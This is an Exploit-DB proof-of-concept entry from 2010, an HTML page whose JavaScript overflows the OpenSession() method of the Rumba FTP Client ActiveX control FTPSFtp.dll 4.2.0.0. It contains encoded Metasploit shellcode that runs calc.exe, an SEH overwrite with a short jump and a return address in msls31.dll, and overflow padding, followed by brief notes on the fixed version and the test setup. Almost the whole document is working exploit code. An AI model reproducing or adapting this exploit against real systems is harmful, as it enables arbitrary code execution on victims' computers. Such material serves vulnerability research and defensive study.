Rumba FTP Client 'FTPSFtp.dll' 4.2.0.0 - 'OpenSession()' Local Buffer Overflow

EDB-ID:

12677

CVE:

N/A

Author:

sinn3r

Type:

local

Platform:

Windows

Published:

2010-05-21

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<head>
<title>Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3r</title>
</head>
<body>
<object classid="clsid:677A6F83-52A0-4931-8E62-EC713EE9B949" id="ftpsftp"></object>
<script language="JavaScript">
/*
Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow
Vulnerable version download: http://download.cnet.com/Rumba-FTP/3000-2160_4-10587778.html
Found and coded by sinn3r
Greets: Corelan Security Team & Exploit-DB
http://twitter.com/_sinn3r
1) Script provided 'as is', without any warranty. Use for educational purposes only.
2) Do not use this code to do anything illegal, that's ridiculous!
3) You are not allowed to edit/modify this code. If you do, original author cannot be
   held responsible for any damages this may cause.
*/

// http://www.metasploit.com  windows/exec cmd=calc.exe 200 bytes
shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPM"+
            "YZEVQN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWK"+
            "RZPPRQGLKQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9"+
            "FFQKOVQO0NL9QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN"+
            "3LKS4LKC1XPMY1TWTGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1L"+
            "KROLGKON5OKZPNUORF6RHOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE35"+
            "12LSS6N3U2X3UUPDJA";

eaxAlign  = unescape(
"%58"+		//POP EAX
"%04%0B"	//ADD AL, 0x0B
);

// Original fuzzed size = 13332 bytes. This POC uses 5000 bytes.
var padding1	= unescape("%41");
while (padding1.length < 600)
	padding1 += unescape("%41");
var nseh	= unescape("%EB%06%42%42");	//Short JUMP
var seh		= unescape("%71%33%6E%74");	//0x746E3371  msls31.dll  <-- IE 6 addr
var padding2	= unescape("%41");
while (padding2.length < 4389-shellcode.length)
	padding2 += unescape("%41");

ftpsftp.OpenSession(padding1 + nseh + seh + eaxAlign + shellcode + padding2);
</script>
<pre>
|------------------------------------------------------------------|
|   Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Overflow   |
|                                                                  |
| by sinn3r - Corelan & Exploit-DB             twitter.com/_sinn3r |
|------------------------------------------------------------------|

This bug was found when I was verifying another bug for Exploit-DB. Please note that
the latest version of FTPSFtp.dll v4.2.3.0.0 is no longer vulnerable to this, and it
is (duh!) recommended to update your Rumba FTP to the latest version if possible.

[+] Vulnerable Component = FTPSFtp.dll
[+] Version              = 4.2.0.0
[+] Function:            = OpenSession ( ByVal __MIDL_0011 As String ) As Object
[+] progid               = FTPSFTPLib.SFtpApplication
[+] Tested on            = Windows XP SP3 ENG + IE 6
[+] Payload              = windows/exec cmd=calc.exe
[+] Special thanks       = rAWjAW and chap0 for testing
</pre>
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